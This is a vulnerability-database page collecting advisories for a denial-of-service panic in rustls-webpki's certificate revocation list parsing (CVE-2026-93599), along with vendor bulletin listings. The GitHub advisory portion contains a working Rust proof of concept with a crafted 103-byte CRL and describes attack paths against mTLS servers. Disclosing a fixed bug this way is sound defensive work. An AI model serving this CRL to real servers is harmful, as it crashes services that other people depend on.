RUSTSEC-2026-0104Published

rustls-webpki before 0.103.13 Panic via empty BIT STRING

Exploitation and risk

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-93599

Published

rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.

Source published: 18 Sep 2026 13:20:10 UTC
Source modified: 18 Sep 2026 14:15:25 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-82894

Published

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 18, 2026, 1:20:10 PM

dateUpdated: Sep 18, 2026, 2:15:25 PM

34 related source bulletins · separate from aliases

openSUSE-SU-2026:22016-1: Security update for rustup

CVE-2024-12224 · CVE-2025-58160 · CVE-2026-25541 · CVE-2026-25727 · CVE-2026-41676 · CVE-2026-41677 · CVE-2026-41678 · CVE-2026-41681 · CVE-2026-41898 · CVE-2026-42327 · CVE-2026-44662 · CVE-2026-45784 · CVE-2026-93599 · CVE-2026-93600 · CVE-2026-93601 · CVE-2026-93602

SUSE-SU-2026:24014-1: Security update for rustup

RHSA-2026:56999: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-35406 · CVE-2026-93599

RHSA-2026:92595: Red Hat Security Advisory: General availability of the satellite/iop-advisor-backend-rhel9 container image

CVE-2026-84782 · CVE-2026-93599

RHSA-2026:87410: Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI

CVE-2024-12224 · CVE-2025-14920 · CVE-2025-14921 · CVE-2025-14924 · CVE-2025-14925 · CVE-2025-14926 · CVE-2025-14927 · CVE-2025-14928 · CVE-2025-14929 · CVE-2025-14930 · CVE-2025-61726 · CVE-2025-61729 · CVE-2026-5241 · CVE-2026-5497 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-12151 · CVE-2026-12860 · CVE-2026-15143 · CVE-2026-15574 · CVE-2026-15679 · CVE-2026-15925 · CVE-2026-16221 · CVE-2026-18427 · CVE-2026-18446 · CVE-2026-18949 · CVE-2026-19481 · CVE-2026-19484 · CVE-2026-19534 · CVE-2026-25681 · CVE-2026-25960 · CVE-2026-27136 · CVE-2026-28390 · CVE-2026-28684 · CVE-2026-31812 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33805 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-39892 · CVE-2026-40682 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-42561 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-45820 · CVE-2026-47219 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48746 · CVE-2026-49114 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-50559 · CVE-2026-54283 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56121 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-58059 · CVE-2026-59296 · CVE-2026-59879 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-65918 · CVE-2026-66007 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-68770 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86049 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89418 · CVE-2026-89425 · CVE-2026-91777 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-102831 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851 · CVE-2026-105744

RHSA-2026:92620: Red Hat Security Advisory: satellite/iop-vulnerability-engine-rhel9 container image available as a Technology Preview

CVE-2026-84782 · CVE-2026-87819 · CVE-2026-93599 · CVE-2026-110857

openSUSE-SU-2026:22189-1: Security update for shadowsocks-rust, shadowsocks-libev

CVE-2025-3416 · CVE-2026-25541 · CVE-2026-93599 · CVE-2026-93600 · CVE-2026-93601 · CVE-2026-93602

RHSA-2026:87120: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update

CVE-2026-27459 · CVE-2026-39836 · CVE-2026-45820 · CVE-2026-63374 · CVE-2026-69243 · CVE-2026-90959 · CVE-2026-92982 · CVE-2026-93599 · CVE-2026-96760 · CVE-2026-97687 · CVE-2026-97689 · CVE-2026-102266 · CVE-2026-102267 · CVE-2026-102268 · CVE-2026-102271 · CVE-2026-102272 · CVE-2026-102273 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851

openSUSE-SU-2026:12161-1: aws-nitro-enclaves-binaryblobs-upstream-1.5.2~git0.1c496ed-1.1 on GA media

CVE-2026-93599

RHSA-2026:83603: Red Hat Security Advisory: RHTAS 1.4.4 - Red Hat Trusted Artifact Signer Release

CVE-2026-18140 · CVE-2026-93599

RHSA-2026:92619: Red Hat Security Advisory: satellite/iop-vulnerability-engine-rhel9 container image available as a Technology Preview

CVE-2026-84782 · CVE-2026-87819 · CVE-2026-93599

msrc_CVE-2026-93599: rustls-webpki before 0.103.13 Panic via empty BIT STRING

CVE-2026-93599

RHSA-2026:70694: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-65093 · CVE-2026-93599

openSUSE-SU-2026:11976-1: shadowsocks-rust-1.25.0-2.1 on GA media

CVE-2026-93599

openSUSE-SU-2026:22175-1: Security update for aws-nitro-enclaves-cli

CVE-2026-93599 · CVE-2026-93600 · CVE-2026-93601 · CVE-2026-93602

RHSA-2026:92583: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-rhel9 container image

CVE-2026-63374 · CVE-2026-84782 · CVE-2026-93599 · CVE-2026-102267 · CVE-2026-102268

SUSE-SU-2026:23983-1: Security update for sccache

CVE-2024-12224 · CVE-2026-25541 · CVE-2026-25727 · CVE-2026-41676 · CVE-2026-41677 · CVE-2026-41678 · CVE-2026-41681 · CVE-2026-41898 · CVE-2026-42327 · CVE-2026-44662 · CVE-2026-45784 · CVE-2026-66746 · CVE-2026-66754 · CVE-2026-67181 · CVE-2026-67182 · CVE-2026-93599 · CVE-2026-93600 · CVE-2026-93601 · CVE-2026-93602

openSUSE-SU-2026:21982-1: Security update for sccache

RHSA-2026:66076: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-93599

RHSA-2026:92574: Red Hat Security Advisory: Technical preview of the satellite/iop-vmaas-rhel9 container image

CVE-2026-26007 · CVE-2026-63374 · CVE-2026-84782 · CVE-2026-87819 · CVE-2026-93599 · CVE-2026-110856 · CVE-2026-110857 · CVE-2026-110859

RHSA-2026:92566: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-rhel9 container image

CVE-2026-63374 · CVE-2026-84782 · CVE-2026-93599 · CVE-2026-102267 · CVE-2026-102268

RHSA-2026:80764: Red Hat Security Advisory: goose security update

CVE-2026-63127 · CVE-2026-63128 · CVE-2026-72718 · CVE-2026-93599

RHSA-2026:86891: Red Hat Security Advisory: RHOAI 3.5.2 - Red Hat OpenShift AI

CVE-2024-14029 · CVE-2026-13697 · CVE-2026-15679 · CVE-2026-15789 · CVE-2026-18427 · CVE-2026-19534 · CVE-2026-37237 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-54284 · CVE-2026-56859 · CVE-2026-59296 · CVE-2026-59893 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-66007 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-71491 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81725 · CVE-2026-81726 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84381 · CVE-2026-84382 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89425 · CVE-2026-91990 · CVE-2026-93348 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-96775 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-102990 · CVE-2026-104851 · CVE-2026-104852 · CVE-2026-104861 · CVE-2026-104873

RHSA-2026:80765: Red Hat Security Advisory: goose security update

CVE-2026-63127 · CVE-2026-63128 · CVE-2026-72718 · CVE-2026-93599

RHSA-2026:57200: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-93599

WID-SEC-W-2026-3883: Red Hat Enterprise Linux (goose, environment-modules, tornado): Mehrere Schwachstellen

CVE-2026-63127 · CVE-2026-63128 · CVE-2026-72718 · CVE-2026-93599 · CVE-2026-85013 · CVE-2026-103262

openSUSE-SU-2026:12409-1: rustup-1.29.2~0-1.1 on GA media

CVE-2026-93599

RHSA-2026:85848: Red Hat Security Advisory: rust-sequoia-sq security update

CVE-2026-93599 · CVE-2026-93657

SUSE-SU-2026:24467-1: Security update for aws-nitro-enclaves-cli

CVE-2026-93599 · CVE-2026-93600 · CVE-2026-93601 · CVE-2026-93602

openSUSE-SU-2026:11936-1: python313-tokenizers-0.23.2-1.1 on GA media

CVE-2026-93599 · CVE-2026-93600 · CVE-2026-93601 · CVE-2026-93602

openSUSE-SU-2026:11861-1: obs-service-cargo-7.2.2-3.1 on GA media

CVE-2026-93599

RHSA-2026:92588: Red Hat Security Advisory: Technical preview of the satellite/iop-vmaas-rhel9 container image

CVE-2026-63374 · CVE-2026-84782 · CVE-2026-87819 · CVE-2026-93599 · CVE-2026-110857

RHSA-2026:92628: Red Hat Security Advisory: General availability of the satellite/iop-advisor-backend-rhel9 container image

CVE-2026-84782 · CVE-2026-93599

RHSA-2026:42825: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-7383 · CVE-2026-9076 · CVE-2026-34180 · CVE-2026-34181 · CVE-2026-34182 · CVE-2026-34183 · CVE-2026-35188 · CVE-2026-42764 · CVE-2026-42765 · CVE-2026-42766 · CVE-2026-42767 · CVE-2026-42768 · CVE-2026-42769 · CVE-2026-42770 · CVE-2026-42771 · CVE-2026-45445 · CVE-2026-45446 · CVE-2026-45447 · CVE-2026-54876 · CVE-2026-75803 · CVE-2026-93599

Source published: Sep 18, 2026, 1:20:10 PM (timezone not stated)
Source modified: Sep 18, 2026, 2:15:25 PM (timezone not stated)
Saved here: 11 Nov 2026 17:05:39 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-93599

Published

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-191

Original publisher date fields

published: 2026-09-18T14:19:11.410

lastModified: 2026-09-22T20:25:55.870

Source published: 18 Sep 2026 14:19:11 UTC
Source modified: 22 Sep 2026 20:25:55 UTC
Saved here: 25 Oct 2026 16:19:28 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-82j2-j2ch-gfr8

Published

### Summary `bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension. **Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected. > **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission. ### Details `bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard: ```rust if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) { return Err(Error::BadDer); } let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash ``` misses the case `padding_bits == 0 && raw_bits.is_empty()`. When a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615 ### PoC Cargo.toml: ``` [dependencies] rustls-webpki = "0.102.8" # also reproduces on 0.103.12 ``` src/main.rs: ``` fn main() { let crl: &[u8] = &[ 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c, 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x02, 0x00, 0x00, ]; // Panics — never returns let _ = webpki::BorrowedCertRevocationList::from_der(crl); } ``` output: ``` thread 'main' panicked at src/der.rs:... index out of bounds: the len is 0 but the index is 18446744073709551615 ``` #### Trigger ``` a0 10 -- cRLExtensions [0] EXPLICIT 30 0e -- SEQUENCE OF Extension 30 0c -- Extension SEQUENCE 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint) 04 05 -- OCTET STRING (extnValue) 30 03 -- IssuingDistributionPoint SEQUENCE 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00 -- padding_bits=0, data=[] ← TRIGGER ``` ### Impact - Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence. - Attack paths: - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required. - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.

Source published: 24 Apr 2026 16:20:17 UTC
Source modified: 19 Sep 2026 03:55:33 UTC
Saved here: 24 Oct 2026 13:19:54 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

osv · RUSTSEC-2026-0104

Published

A panic was reachable when parsing certificate revocation lists via [`BorrowedCertRevocationList::from_der`] or [`OwnedCertRevocationList::from_der`]. This was the result of mishandling a syntactically valid empty `BIT STRING` appearing in the `onlySomeReasons` element of a `IssuingDistributionPoint` CRL extension. This panic is reachable prior to a CRL's signature being verified. Applications that do not use CRLs are not affected. Thank you to [@tynus3](https://github.com/tynus3) for the report.

Source published: 22 Apr 2026 12:00:00 UTC
Source modified: 19 Sep 2026 08:42:27 UTC
Saved here: 24 Oct 2026 13:19:54 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.